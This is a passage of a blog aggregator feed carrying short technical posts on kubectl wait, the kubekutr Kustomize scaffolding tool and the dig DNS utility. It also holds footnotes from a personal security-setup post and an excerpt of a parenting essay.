security incidents. It has never undergone a security audit (unlike
bitwarden) and is not something I recommend anymore. <a href="#fnref:3" class="reversefootnote" role="doc-backlink">&#8617;</a></p>
    </li>
    <li id="fn:1">

      <p>The <a href="https://github.com/roddhjav/pass-tomb">pass-tomb</a> extension bypasses
this limit and encrypts your filenames as well. <a href="#fnref:1" class="reversefootnote" role="doc-backlink">&#8617;</a></p>
    </li>
    <li id="fn:7">

      <p>I have <a href="https://git.captnemo.in/explore/repos">my own git server</a> configured
as a fallback if it goes down. I ensure the same controls on my Git server
as Gitea, and it runs in my living room. <a href="#fnref:7" class="reversefootnote" role="doc-backlink">&#8617;</a></p>
    </li>
    <li id="fn:8">
      <p>I lost my previous GPG key because my Yubikey stopped working <a href="#fnref:8" class="reversefootnote" role="doc-backlink">&#8617;</a></p>
    </li>
    <li id="fn:11">

      <p>The jury is still out on whether this counts as an “independent second
factor”. <a href="#fnref:11" class="reversefootnote" role="doc-backlink">&#8617;</a></p>
    </li>
    <li id="fn:6">

      <p>The domain is stuck in a legal limbo, because of an
<a href="https://our.in/mitsu-ceo-got-upset-with-the-nixi-proceedings/">ongoing case between my registrar and NIXI</a>
(which runs the <code class="language-plaintext highlighter-rouge">.in</code> registry). If you have any suggestions/ideas, please
<a href="https://captnemo.in/contact">reach out</a>. <a href="#fnref:6" class="reversefootnote" role="doc-backlink">&#8617;</a></p>
    </li>
    <li id="fn:5">

      <p>Namecheap announced
<a href="https://www.namecheap.com/blog/protect-account-totp-2-factor/">U2F support</a>
in April 2019, and while it was buggy at first, it has definitely improved. <a href="#fnref:5" class="reversefootnote" role="doc-backlink">&#8617;</a></p>
    </li>
    <li id="fn:10">
      <p>The one major exception is lastpass, which I no longer recommend. <a href="#fnref:10" class="reversefootnote" role="doc-backlink">&#8617;</a></p>
    </li>
  </ol>
</div>
]]></content:encoded>
            <author>Nemo</author>
        </item>
        <item>
            <title><![CDATA[kubectl wait]]></title>
            <link>https://mrkaran.dev/posts/kubectl-wait/</link>
            <guid isPermaLink="false">https://mrkaran.dev/posts/kubectl-wait/</guid>
            <pubDate>Wed, 01 Jan 2020 02:40:55 GMT</pubDate>
            <description><![CDATA[For the longest time I’ve had these commands in my .gitlab-ci.yml file for a K8s CD pipeline:
    ...
    - kubectl apply -k overlays/prod
    - echo "Waiting for 15 seconds for pods to be restarted" && sleep 15
    - kubectl get po
    ...
So, basically I apply the changes to cluster using kubectl apply and wait for arbitary decided time (15 seconds) to see the pod status, hoping by that time the new deployments would have been active and old pods would be deleted. As the traditional SRE saying goes Hope is not a strategy this was clearly hacky and I knew it back then, just didn’t priortise enough to find a replacement. Recently got to know about kubectl wait and woah, this is exactly what I needed. I can wait till either the condition is true or a timeout happens, whichever is earlier. This is so much better than the previous hack.
kubectl wait --for=condition=available --timeout=60s --all deployments
Here the condition depends on the resource you are selecting. You can see the values for Conditions using kubectl describe <resource>. For eg, for deployment and pods:
$ kc describe deployments/{deployment_name} | grep Conditions -A 5

Conditions:
  Type           Status  Reason
  ----           ------  ------
  Progressing    True    NewReplicaSetAvailable
  Available      True    MinimumReplicasAvailable
$ kc describe pods/{pod_name} | grep Conditions -A 5

Conditions:
  Type              Status
  Initialized       True
  Ready             True
  ContainersReady   True
  PodScheduled      True
So, now you’ll set the value for condition according to your choice. This will be pretty useful in CI/CD pipelines. That’s pretty much it.
Unrelated, but I thought about doing more such short posts and be consistent with more of writing. If you liked the short and precise format or have any feedback on it, do reach out to me on Twitter.
Happy New Year :)
Fin!]]></description>
            <content:encoded><![CDATA[<p>For the longest time I’ve had these commands in my <code>.gitlab-ci.yml</code> file for a K8s CD pipeline:</p>
<pre class="giallo" style="color-scheme: light dark; color: light-dark(#24292E, #ADBAC7); background-color: light-dark(#FFFFFF, #22272E);"><code data-lang="shellscript"><span class="giallo-l"><span style="color: light-dark(#005CC5, #6CB6FF);">    .</span><span style="color: light-dark(#005CC5, #6CB6FF);">.</span><span style="color: light-dark(#005CC5, #6CB6FF);">.</span></span>
<span class="giallo-l"><span style="color: light-dark(#6F42C1, #F69D50);">    -</span><span style="color: light-dark(#032F62, #96D0FF);"> kubectl</span><span style="color: light-dark(#032F62, #96D0FF);"> apply</span><span style="color: light-dark(#005CC5, #6CB6FF);"> -</span><span style="color: light-dark(#005CC5, #6CB6FF);">k</span><span style="color: light-dark(#032F62, #96D0FF);"> overlays/prod</span></span>
<span class="giallo-l"><span style="color: light-dark(#6F42C1, #F69D50);">    -</span><span style="color: light-dark(#032F62, #96D0FF);"> echo</span><span style="color: light-dark(#032F62, #96D0FF);"> &quot;</span><span style="color: light-dark(#032F62, #96D0FF);">Waiting for 15 seconds for pods to be restarted</span><span style="color: light-dark(#032F62, #96D0FF);">&quot;</span><span> &amp;&amp;</span><span style="color: light-dark(#6F42C1, #F69D50);"> sleep</span><span style="color: light-dark(#005CC5, #6CB6FF);"> 15</span></span>
<span class="giallo-l"><span style="color: light-dark(#6F42C1, #F69D50);">    -</span><span style="color: light-dark(#032F62, #96D0FF);"> kubectl</span><span style="color: light-dark(#032F62, #96D0FF);"> get</span><span style="color: light-dark(#032F62, #96D0FF);"> po</span></span>
<span class="giallo-l"><span style="color: light-dark(#005CC5, #6CB6FF);">    .</span><span style="color: light-dark(#005CC5, #6CB6FF);">.</span><span style="color: light-dark(#005CC5, #6CB6FF);">.</span></span></code></pre>
<p>So, basically I apply the changes to cluster using <code>kubectl apply</code> and wait for arbitary decided time (15 seconds) to see the pod <code>status</code>, hoping by that time the new deployments would have been active and old pods would be deleted. As the traditional SRE saying goes <em>Hope is not a strategy</em> this was clearly hacky and I knew it back then, just didn’t priortise enough to find a replacement. Recently got to know about <code>kubectl wait</code> and woah, this is exactly what I needed. I can wait till either the condition is true or a timeout happens, whichever is earlier. This is so much better than the previous <em>hack</em>.</p>
<pre class="giallo" style="color-scheme: light dark; color: light-dark(#24292E, #ADBAC7); background-color: light-dark(#FFFFFF, #22272E);"><code data-lang="plain"><span class="giallo-l"><span>kubectl wait --for=condition=available --timeout=60s --all deployments</span></span></code></pre>
<p>Here the <code>condition</code> depends on the resource you are selecting. You can see the values for <code>Conditions</code> using <code>kubectl describe &lt;resource&gt;</code>. For eg, for deployment and pods:</p>
<pre class="giallo" style="color-scheme: light dark; color: light-dark(#24292E, #ADBAC7); background-color: light-dark(#FFFFFF, #22272E);"><code data-lang="shellscript"><span class="giallo-l"><span style="color: light-dark(#6F42C1, #F69D50);">$</span><span style="color: light-dark(#032F62, #96D0FF);"> kc</span><span style="color: light-dark(#032F62, #96D0FF);"> describe</span><span style="color: light-dark(#032F62, #96D0FF);"> deployments/{deployment_name}</span><span style="color: light-dark(#D73A49, #F47067);"> |</span><span style="color: light-dark(#6F42C1, #F69D50);"> grep</span><span style="color: light-dark(#032F62, #96D0FF);"> Conditions</span><span style="color: light-dark(#005CC5, #6CB6FF);"> -</span><span style="color: light-dark(#005CC5, #6CB6FF);">A</span><span style="color: light-dark(#005CC5, #6CB6FF);"> 5</span></span>
<span class="giallo-l"></span>
<span class="giallo-l"><span style="color: light-dark(#6F42C1, #F69D50);">Conditions:</span></span>
<span class="giallo-l"><span style="color: light-dark(#6F42C1, #F69D50);">  Type</span><span style="color: light-dark(#032F62, #96D0FF);">           Status</span><span style="color: light-dark(#032F62, #96D0FF);">  Reason</span></span>
<span class="giallo-l"><span style="color: light-dark(#6F42C1, #F69D50);">  ----</span><span style="color: light-dark(#005CC5, #6CB6FF);">           -</span><span style="color: light-dark(#005CC5, #6CB6FF);">-----</span><span style="color: light-dark(#005CC5, #6CB6FF);">  -</span><span style="color: light-dark(#005CC5, #6CB6FF);">-----</span></span>
<span class="giallo-l"><span style="color: light-dark(#6F42C1, #F69D50);">  Progressing</span><span style="color: light-dark(#032F62, #96D0FF);">    True</span><span style="color: light-dark(#032F62, #96D0FF);">    NewReplicaSetAvailable</span></span>
<span class="giallo-l"><span style="color: light-dark(#6F42C1, #F69D50);">  Available</span><span style="color: light-dark(#032F62, #96D0FF);">      True</span><span style="color: light-dark(#032F62, #96D0FF);">    MinimumReplicasAvailable</span></span></code></pre><pre class="giallo" style="color-scheme: light dark; color: light-dark(#24292E, #ADBAC7); background-color: light-dark(#FFFFFF, #22272E);"><code data-lang="shellscript"><span class="giallo-l"><span style="color: light-dark(#6F42C1, #F69D50);">$</span><span style="color: light-dark(#032F62, #96D0FF);"> kc</span><span style="color: light-dark(#032F62, #96D0FF);"> describe</span><span style="color: light-dark(#032F62, #96D0FF);"> pods/{pod_name}</span><span style="color: light-dark(#D73A49, #F47067);"> |</span><span style="color: light-dark(#6F42C1, #F69D50);"> grep</span><span style="color: light-dark(#032F62, #96D0FF);"> Conditions</span><span style="color: light-dark(#005CC5, #6CB6FF);"> -</span><span style="color: light-dark(#005CC5, #6CB6FF);">A</span><span style="color: light-dark(#005CC5, #6CB6FF);"> 5</span></span>
<span class="giallo-l"></span>
<span class="giallo-l"><span style="color: light-dark(#6F42C1, #F69D50);">Conditions:</span></span>
<span class="giallo-l"><span style="color: light-dark(#6F42C1, #F69D50);">  Type</span><span style="color: light-dark(#032F62, #96D0FF);">              Status</span></span>
<span class="giallo-l"><span style="color: light-dark(#6F42C1, #F69D50);">  Initialized</span><span style="color: light-dark(#032F62, #96D0FF);">       True</span></span>
<span class="giallo-l"><span style="color: light-dark(#6F42C1, #F69D50);">  Ready</span><span style="color: light-dark(#032F62, #96D0FF);">             True</span></span>
<span class="giallo-l"><span style="color: light-dark(#6F42C1, #F69D50);">  ContainersReady</span><span style="color: light-dark(#032F62, #96D0FF);">   True</span></span>
<span class="giallo-l"><span style="color: light-dark(#6F42C1, #F69D50);">  PodScheduled</span><span style="color: light-dark(#032F62, #96D0FF);">      True</span></span></code></pre>
<p>So, now you’ll set the value for <code>condition</code> according to your choice. This will be pretty useful in CI/CD pipelines. That’s pretty much it.</p>
<hr />
<p>Unrelated, but I thought about doing more such <em>short</em> posts and be consistent with more of writing. If you liked the short and precise format or have any feedback on it, do reach out to me on <a rel="external" href="https://twitter.com/@mrkaran_">Twitter</a>.</p>
<p>Happy New Year :)</p>
<p>Fin!</p>
]]></content:encoded>
            <author>Karan Sharma</author>
        </item>
        <item>
            <title><![CDATA[Introducing kubekutr]]></title>
            <link>https://mrkaran.dev/posts/introducing-kubekutr/</link>
            <guid isPermaLink="false">https://mrkaran.dev/posts/introducing-kubekutr/</guid>
            <pubDate>Mon, 30 Dec 2019 02:40:55 GMT</pubDate>
            <description><![CDATA[kubekutr was born out of my frustration of organising K8s resource manifests files/directories. For the uninitiated, K8s lets you hold the state of your cluster declaratively as “manifest” files. K8s does so by a lot of asynchronous control loops to check whether the desired state matches the real world state and in case of drifts, it resets back to the user desired state (I oversimplified this, but hope you get the drift ;)). These files are predominantly YAML but there’s support for JSON as well. Anyway, to create these manifest files for a production level project is quite a bit of manual labour. The API spec of every resource in Kubernetes is quite daunting and overwhelming. There are tools like Helm which abstract away the complexity of these YAML with it’s own templating system. There are quite a lot of these charts available for 3rd party apps here. The idea is you populate the Chart with just your own config “values” and you’ve a deployment ready in no time. Admittedly this works quite well for something you want to take out for a quick spin but personally I am not quite a fan of hiding away the complexity with a magic layer. Also, the problem with Helm was the “Chart” (and templates) still had to be written by someone if you have a bespoke application. Helm is more geared towards common off the shelf apps like DBs, Key Value stores, web proxies etc.
I found out kustomize few months back and quite happy with it’s approach towards managing manifests. The basic idea behind kustomize is that you create a base and any kind of “customisations” must come as overlays. This is such a powerful technique over wrangling templates. kustomize A common approach is to name these overlays based on the environment. For example, dev deployment can have replicas: 1 for a pod, but prod can apply a “patch” to update with repliacs: 3. This way of separating two environments helps a lot when you follow GitOps approach of deployment. All fine and good, until I realised I spent way too much time on copy-pasting the bases for different projects and manually editing these files for the new project config.
Then I did what any other programmer would do, spend some more time to automate :P And that is how kubekutr was born. (Quite an anticlimax I know!)
kubekutr is a really simple tool to bootstrap a Kustomize base. kubekutr reads a config file, templates out different resources and produces them as YAML files. Now, I know a lot of you reading this would be going Another damn templating solution in your mind and while that reaction is warranted, given that we have 200+ tools in the community (everyone trying to solve similar problems in their own ways), I legit could not find a simple enough tool which would let the boring part of scaffolding a base out of my way and let me focus on what’s more important: the actual deployment. Hence I just decided to roll out my own solution which is the best one according to IKEA effect (just kidding).
Workflow#
So, let’s say you need to create a Nginx deployment, the kubekutr config.yml would look something like this:
deployments:
  - name: nginx
    replicas: 1
    labels:
      - name: 'service: nginx'
    containers:
      - name: nginx
        image: 'nginx:latest'
        portInt: 80
        portName: nginx-port
services:
  - name: nginx
    type: ClusterIP
    port: 80
    targetPort: 80
    labels:
      - name: 'service: nginx'
    selectors:
      - name: 'service: nginx'
To create the base:
kubekutr -c config.yml scaffold -o nginx-deployment
nginx-deployment folder is initialised and you can view deployments/nginx.yml and service/nginx.yml which kubekutr created.
$ tree nginx-deployment

|-- base
|   |-- deployments
|   |   `-- nginx.yml
|   |-- ingresses
|   |-- services
|   |   `-- nginx.yml
|   `-- statefulsets
$ cat base/deployments/nginx.yml

apiVersion: apps/v1
kind: Deployment
metadata:
  name: nginx
  labels:
    service: nginx
spec:
  replicas: 1
  selector:
    matchLabels:
      service: nginx
  template:
    metadata:
      labels:
        service: nginx
    spec:
      containers:
        - name: nginx
          image: nginx:latest
          ports:
          - containerPort: 80
            name: nginx-port
$ cat base/services/nginx.yml

apiVersion: v1
kind: Service
metadata:
  name: nginx
  labels:
    service: nginx
spec:
  ports:
    - port: 80
      targetPort: 80
      protocol: TCP
  type: ClusterIP
  selector:
    service: nginx
You can now use the generated folder as a Kustomize base.
Non Goals#
kubekutr isn’t meant to replace the existing tools, it’s just a real simple cookie cutter approach to kustomize bases and that’s pretty much it. kustomize is native to Kubernetes and exposes the full API spec to end users. I feel that is much more better approach than templating solutions, the users must be exposed to the standard conventions rather than a random tool’s own config fields. The benefits are the same conventions can then be used across a wide variety of tools (like kubekutr) and users are in better control of the underlying resources. Adding a layer of magic also makes it harder to debug when shit goes down. Hence kubekutr chose kustomize to do all the heavy lifting of managing manifests.
There’s a lot of scope of improvements, but I wanted to just Ship It! and get some initial feedback. Let me know your thoughts on this :)
Fin!]]></description>
            <content:encoded><![CDATA[<p><img src="https://raw.githubusercontent.com/mr-karan/kubekutr/master/logo.png" alt="" /></p>
<p><a rel="external" href="https://github.com/mr-karan/kubekutr/">kubekutr</a> was born out of my frustration of organising K8s resource manifests files/directories. For the uninitiated, K8s lets you hold the state of your cluster <a rel="external" href="https://kubernetes.io/docs/tasks/manage-kubernetes-objects/declarative-config/">declaratively</a> as “manifest” files. K8s does so by a lot of asynchronous control loops to check whether the desired state matches the real world state and in case of drifts, it resets back to the user desired state (I oversimplified this, but hope you get the drift ;)). These files are predominantly <code>YAML</code> but there’s support for <code>JSON</code> as well. Anyway, to create these manifest files for a production level project is quite a bit of manual labour. The API spec of every resource in Kubernetes is quite <a rel="external" href="https://kubernetes.io/docs/reference/generated/kubernetes-api/v1.14/">daunting</a> and overwhelming. There are tools like Helm which abstract away the complexity of these YAML with it’s own templating system. There are quite a lot of these charts available for 3rd party apps <a rel="external" href="https://github.com/helm/charts">here</a>. The idea is you populate the Chart with just your own config “values” and you’ve a deployment ready in no time. Admittedly this works quite well for something you want to take out for a quick spin but personally I am not quite a fan of hiding away the complexity with a <em>magic</em> layer. Also, the problem with Helm was the “Chart” (and templates) still had to be written by someone if you have a <a rel="external" href="https://github.com/kubernetes-sigs/kustomize/blob/master/docs/glossary.md#bespoke-configuration">bespoke</a> application. Helm is more geared towards common off the shelf apps like DBs, Key Value stores, web proxies etc.</p>
<p>I found out <a href="https://mrkaran.dev/posts/introducing-kubekutr/github.com/kubernetes-sigs/kustomize">kustomize</a> few months back and quite happy with it’s approach towards managing manifests. The basic idea behind <code>kustomize</code> is that you create a <em>base</em> and any kind of “customisations” must come as <em>overlays</em>. This is such a powerful technique over wrangling templates. <code>kustomize</code> A common approach is to name these <em>overlays</em> based on the environment. For example, <code>dev</code> deployment can have <code>replicas: 1</code> for a pod, but <code>prod</code> can apply a “patch” to update with <code>repliacs: 3</code>. This way of separating two environments helps a lot when you follow <a rel="external" href="https://www.weave.works/technologies/gitops/">GitOps</a> approach of deployment. All fine and good, until I realised I spent way too much time on copy-pasting the bases for different projects and manually editing these files for the new project config.</p>
<p>Then I did what any other programmer would do, spend some more time to automate :P And that is how <code>kubekutr</code> was born. (Quite an anticlimax I know!)</p>
<p><code>kubekutr</code> is a really simple tool to bootstrap a Kustomize <code>base</code>. <code>kubekutr</code> reads a config file, templates out different resources and produces them as YAML files. Now, I know a lot of you reading this would be going <em>Another damn templating solution</em> in your mind and while that reaction is warranted, given that we have 200+ <a rel="external" href="https://docs.google.com/spreadsheets/d/1FCgqz1Ci7_VCz_wdh8vBitZ3giBtac_H8SBw4uxnrsE/edit#gid=0">tools</a> in the community (everyone trying to solve similar problems in their own ways), I <em>legit</em> could not find a simple enough tool which would let the boring part of scaffolding a base out of my way and let me focus on what’s more important: the actual deployment. Hence I just decided to roll out my own solution which is the best one according to <a rel="external" href="https://en.wikipedia.org/wiki/IKEA_effect">IKEA effect</a> (<em>just kidding</em>).</p>
<h3 id="workflow">Workflow<a class="zola-anchor" href="#workflow" aria-label="Anchor link for: workflow">#</a></h3>
<p>So, let’s say you need to create a Nginx deployment, the <code>kubekutr</code> <code>config.yml</code> would look something like this:</p>
<pre class="giallo" style="color-scheme: light dark; color: light-dark(#24292E, #ADBAC7); background-color: light-dark(#FFFFFF, #22272E);"><code data-lang="plain"><span class="giallo-l"><span>deployments:</span></span>
<span class="giallo-l"><span>  - name: nginx</span></span>
<span class="giallo-l"><span>    replicas: 1</span></span>
<span class="giallo-l"><span>    labels:</span></span>
<span class="giallo-l"><span>      - name: &#39;service: nginx&#39;</span></span>
<span class="giallo-l"><span>    containers:</span></span>
<span class="giallo-l"><span>      - name: nginx</span></span>
<span class="giallo-l"><span>        image: &#39;nginx:latest&#39;</span></span>
<span class="giallo-l"><span>        portInt: 80</span></span>
<span class="giallo-l"><span>        portName: nginx-port</span></span>
<span class="giallo-l"><span>services:</span></span>
<span class="giallo-l"><span>  - name: nginx</span></span>
<span class="giallo-l"><span>    type: ClusterIP</span></span>
<span class="giallo-l"><span>    port: 80</span></span>
<span class="giallo-l"><span>    targetPort: 80</span></span>
<span class="giallo-l"><span>    labels:</span></span>
<span class="giallo-l"><span>      - name: &#39;service: nginx&#39;</span></span>
<span class="giallo-l"><span>    selectors:</span></span>
<span class="giallo-l"><span>      - name: &#39;service: nginx&#39;</span></span></code></pre>
<p>To create the <code>base</code>:</p>
<p><code>kubekutr -c config.yml scaffold -o nginx-deployment</code></p>
<p><code>nginx-deployment</code> folder is initialised and you can view <code>deployments/nginx.yml</code> and <code>service/nginx.yml</code> which <code>kubekutr</code> created.</p>
<pre class="giallo" style="color-scheme: light dark; color: light-dark(#24292E, #ADBAC7); background-color: light-dark(#FFFFFF, #22272E);"><code data-lang="plain"><span class="giallo-l"><span>$ tree nginx-deployment</span></span>
<span class="giallo-l"></span>
<span class="giallo-l"><span>|-- base</span></span>
<span class="giallo-l"><span>|   |-- deployments</span></span>
<span class="giallo-l"><span>|   |   `-- nginx.yml</span></span>
<span class="giallo-l"><span>|   |-- ingresses</span></span>
<span class="giallo-l"><span>|   |-- services</span></span>
<span class="giallo-l"><span>|   |   `-- nginx.yml</span></span>
<span class="giallo-l"><span>|   `-- statefulsets</span></span></code></pre><pre class="giallo" style="color-scheme: light dark; color: light-dark(#24292E, #ADBAC7); background-color: light-dark(#FFFFFF, #22272E);"><code data-lang="plain"><span class="giallo-l"><span>$ cat base/deployments/nginx.yml</span></span>
<span class="giallo-l"></span>
<span class="giallo-l"><span>apiVersion: apps/v1</span></span>
<span class="giallo-l"><span>kind: Deployment</span></span>
<span class="giallo-l"><span>metadata:</span></span>
<span class="giallo-l"><span>  name: nginx</span></span>
<span class="giallo-l"><span>  labels:</span></span>
<span class="giallo-l"><span>    service: nginx</span></span>
<span class="giallo-l"><span>spec:</span></span>
<span class="giallo-l"><span>  replicas: 1</span></span>
<span class="giallo-l"><span>  selector:</span></span>
<span class="giallo-l"><span>    matchLabels:</span></span>
<span class="giallo-l"><span>      service: nginx</span></span>
<span class="giallo-l"><span>  template:</span></span>
<span class="giallo-l"><span>    metadata:</span></span>
<span class="giallo-l"><span>      labels:</span></span>
<span class="giallo-l"><span>        service: nginx</span></span>
<span class="giallo-l"><span>    spec:</span></span>
<span class="giallo-l"><span>      containers:</span></span>
<span class="giallo-l"><span>        - name: nginx</span></span>
<span class="giallo-l"><span>          image: nginx:latest</span></span>
<span class="giallo-l"><span>          ports:</span></span>
<span class="giallo-l"><span>          - containerPort: 80</span></span>
<span class="giallo-l"><span>            name: nginx-port</span></span></code></pre><pre class="giallo" style="color-scheme: light dark; color: light-dark(#24292E, #ADBAC7); background-color: light-dark(#FFFFFF, #22272E);"><code data-lang="plain"><span class="giallo-l"><span>$ cat base/services/nginx.yml</span></span>
<span class="giallo-l"></span>
<span class="giallo-l"><span>apiVersion: v1</span></span>
<span class="giallo-l"><span>kind: Service</span></span>
<span class="giallo-l"><span>metadata:</span></span>
<span class="giallo-l"><span>  name: nginx</span></span>
<span class="giallo-l"><span>  labels:</span></span>
<span class="giallo-l"><span>    service: nginx</span></span>
<span class="giallo-l"><span>spec:</span></span>
<span class="giallo-l"><span>  ports:</span></span>
<span class="giallo-l"><span>    - port: 80</span></span>
<span class="giallo-l"><span>      targetPort: 80</span></span>
<span class="giallo-l"><span>      protocol: TCP</span></span>
<span class="giallo-l"><span>  type: ClusterIP</span></span>
<span class="giallo-l"><span>  selector:</span></span>
<span class="giallo-l"><span>    service: nginx</span></span></code></pre>
<p>You can now use the generated folder as a Kustomize <code>base</code>.</p>
<h3 id="non-goals">Non Goals<a class="zola-anchor" href="#non-goals" aria-label="Anchor link for: non-goals">#</a></h3>
<p><code>kubekutr</code> isn’t meant to replace the existing tools, it’s just a real simple cookie cutter approach to <code>kustomize</code> bases and that’s pretty much it. <code>kustomize</code> is native to Kubernetes and exposes the full API spec to end users. I feel that is much more better approach than templating solutions, the users must be exposed to the standard conventions rather than a random tool’s own config fields. The benefits are the same conventions can then be used across a wide variety of tools (like <code>kubekutr</code>) and users are in better control of the underlying resources. Adding a layer of magic also makes it harder to debug when shit goes down. Hence <code>kubekutr</code> chose <code>kustomize</code> to do all the heavy lifting of managing manifests.</p>
<p>There’s a lot of scope of improvements, but I wanted to just Ship It! and get some initial feedback. Let me know your thoughts on this :)</p>
<p>Fin!</p>
]]></content:encoded>
            <author>Karan Sharma</author>
        </item>
        <item>
            <title><![CDATA[My son knows how to create his relationships]]></title>
            <link>https://www.prashanthudupa.com/my-son-knows-how-to-create-his-relationships/</link>
            <guid isPermaLink="false">https://www.prashanthudupa.com/my-son-knows-how-to-create-his-relationships/</guid>
            <pubDate>Wed, 04 Dec 2019 04:13:54 GMT</pubDate>
            <description><![CDATA[Yesterday evening, I was working on something. Advay, my 8 year old came by and without giving a damn about the fact that I was occupied with something, he started telling me something and demanded that I pay attention to...]]></description>
            <content:encoded><![CDATA[Yesterday evening, I was working on something. Advay, my 8 year old came by and without giving a damn about the fact that I was occupied with something, he started telling me something and demanded that I pay attention to...]]></content:encoded>
            <author>Prashanth Udupa</author>
            <category>Philosophy</category>
            <category>Unschooling</category>
        </item>
        <item>
            <title><![CDATA[A quick primer on dig]]></title>
            <link>https://mrkaran.dev/posts/dig-overview/</link>
            <guid isPermaLink="false">https://mrkaran.dev/posts/dig-overview/</guid>
            <pubDate>Mon, 11 Nov 2019 05:27:55 GMT</pubDate>
            <description><![CDATA[Dig is a DNS lookup utility developed by BIND which helps a lot while troubleshooting DNS issues (which are more common than you probably think #hugops). I use dig fairly often and thought to write an introductory guide on how you can use dig with some practical examples that’ll help you dig through DNS issues faster (sorry for the lame pun, couldn’t resist.)
Basics#
The most basic and common usage for dig is to query the authorative servers for a particular domain and retrieve the IP. If it’s an IPv4 then you should be looking at A record, while if it’s IPv6 then AAAA record is your friend. Let’s see the DNS records for the site you’re currently on:
➜  ~ dig mrkaran.dev

; <<>> DiG 9.10.6 <<>> mrkaran.dev
;; global options: +cmd
;; Got answer:
;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 23292
;; flags: qr rd ra; QUERY: 1, ANSWER: 1, AUTHORITY: 0, ADDITIONAL: 1

;; OPT PSEUDOSECTION:
; EDNS: version: 0, flags:; udp: 1220
;; QUESTION SECTION:
;mrkaran.dev.			IN	A

;; ANSWER SECTION:
mrkaran.dev.		60	IN	A	206.189.89.118

;; Query time: 6 msec
;; SERVER: 127.0.0.1#53(127.0.0.1)
;; WHEN: Tue Oct 29 23:13:31 IST 2019
;; MSG SIZE  rcvd: 67

This is the most basic example for dig. Let’s explore some of the additional options.
Keep it short#
dig +short keeps the information to bare minimum and only displays the ANSWER.
dig +short mrkaran.dev
206.189.89.118
Nameserver details#
If you want to find the Nameserver for your DNS records, you can use the query type ns.
$ dig mrkaran.dev ns +short
alec.ns.cloudflare.com.
cruz.ns.cloudflare.com.
ns is one of the many query types you can use to indicate which type of DNS record you want to fetch. Default is A record which returns the IPv4 address of the domain (unless it’s a root domain, in which case the default query type is NS). Some other examples of query types are mx, AAAA, TXT etc.
Fun Fact: ANY query type has become obsolete as per the new RFC8482 and DNS operators can choose to not respond to this query. The reason for this is that the payload response size for an ANY query is quite huge (since it has to return all type of DNS records) and this could affect the performance of authoritative servers in case of a DNS amplification attack.
Using different DNS server#
Let’s say you want to switch to a different resolver, you can use @ followed by the address of your DNS server.
$ dig mrkaran.dev @9.9.9.9
Reverse DNS Lookup#
This one’s actually pretty cool. dig -x lets you query the IP and retrieve the hostname details for that IP.
dig -x 206.189.89.118
Multiple queries#
You can input a list of domain names and pass the file with the arg -f to dig.
$ cat digfile
mrkaran.dev
joinmastodon.org
zoho.com
To list down all MX records for the domains in a file, you can use something like:
$ dig -f digfile +noall mx +answer
mrkaran.dev.		242	IN	MX	10 mx.zoho.in.
mrkaran.dev.		242	IN	MX	20 mx2.zoho.in.
mrkaran.dev.		242	IN	MX	50 mx3.zoho.in.
joinmastodon.org.	21599	IN	MX	10 in1-smtp.messagingengine.com.
joinmastodon.org.	21599	IN	MX	20 in2-smtp.messagingengine.com.
zoho.com.		299	IN	MX	10 smtpin.zoho.com.
zoho.com.		299	IN	MX	20 smtpin2.zoho.com.
zoho.com.		299	IN	MX	50 smtpin3.zoho.com.
Search List#
I learnt this recently while debugging a DNS issue in one of the Kubernetes pods. Dig doesn’t use search paths by default, so if you have a service say redis inside a namespace dig won’t fetch any result:
$ dig redis +short
# empty output, indicates no record found
This is because a service name in Kubernetes is of the form service.namespace.svc.cluster.local. So, we should actually be querying for redis.myns.svc.cluster.local and we’ll get our result. But isn’t that too long and painful (sorry for the pun) to type?
So, there’s another option +search which can be used to find all domains matching the search path defined in /etc/resolv.conf namesever configurations.
$ cat /etc/resolv.conf
nameserver 10.100.0.10
search myns.svc.cluster.local svc.cluster.local cluster.local
We can now query for redis with this search list:
dig redis +search +short
10.100.32.73
DNSSec Validation#
dig even lets you validate the DNS records you received using DNSSEC validation.
$ dig mrkaran.dev +dnssec
; <<>> DiG 9.10.6 <<>> mrkaran.dev +dnssec
;; global options: +cmd
;; Got answer:
;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 36275
;; flags: qr rd ra ad; QUERY: 1, ANSWER: 2, AUTHORITY: 0, ADDITIONAL: 1

;; OPT PSEUDOSECTION:
; EDNS: version: 0, flags: do; udp: 1452
;; QUESTION SECTION:
;mrkaran.dev.			IN	A

;; ANSWER SECTION:
mrkaran.dev.		20	IN	A	178.128.17.49
mrkaran.dev.		20	IN	RRSIG	A 13 2 20 20191112173050 20191110153050 34505 mrkaran.dev. Tl3zD6EqfVRvZi79ahePQcAXnbSUY9ZEYx/KwXnDUyonlrCKuBHzIYYC MJoVns410+sOwbIrcAdLgx+eiMYqRQ==

;; Query time: 65 msec
;; SERVER: 1.1.1.1#53(1.1.1.1)
;; WHEN: Mon Nov 11 22:01:01 IST 2019
;; MSG SIZE  rcvd: 163
The important bit to note here is the ad flag set which represents Authenticated Data. The records will only be returned if the validation succeeds (unless you also specify +cd which indicates Checking Disabled flag.)
On a server which doesn’t have DNSSEC enabled, you can see no records are returned with the +dnssec flag.
$ dig dnssec-failed.org +dnssec
; <<>> DiG 9.10.6 <<>> dnssec-failed.org +dnssec
;; global options: +cmd
;; Got answer:
;; ->>HEADER<<- opcode: QUERY, status: SERVFAIL, id: 19886
;; flags: qr rd ra; QUERY: 1, ANSWER: 0, AUTHORITY: 0, ADDITIONAL: 0

;; QUESTION SECTION:
;dnssec-failed.org.		IN	A

;; Query time: 335 msec
;; SERVER: 1.1.1.1#53(1.1.1.1)
;; WHEN: Mon Nov 11 22:03:50 IST 2019
;; MSG SIZE  rcvd: 35
That pretty much broadly covers some practical examples with dig. I will soon write a detailed post on how DNSSEC validation works and why it needs to be mainstream.
Fin!]]></description>
            <content:encoded><![CDATA[<p>Dig is a DNS lookup utility developed by <a rel="external" href="https://en.wikipedia.org/wiki/BIND">BIND</a> which helps a lot while troubleshooting DNS issues (which are more common than you probably think #hugops). I use <code>dig</code> fairly often and thought to write an introductory guide on how you can use <code>dig</code> with some practical examples that’ll help you <code>dig</code> through DNS issues faster (sorry for the lame pun, couldn’t resist.)</p>
<h2 id="basics">Basics<a class="zola-anchor" href="#basics" aria-label="Anchor link for: basics">#</a></h2>
<p>The most basic and common usage for <code>dig</code> is to query the authorative servers for a particular domain and retrieve the IP. If it’s an IPv4 then you should be looking at <code>A</code> record, while if it’s IPv6 then <code>AAAA</code> record is your friend. Let’s see the DNS records for the site you’re currently on:</p>
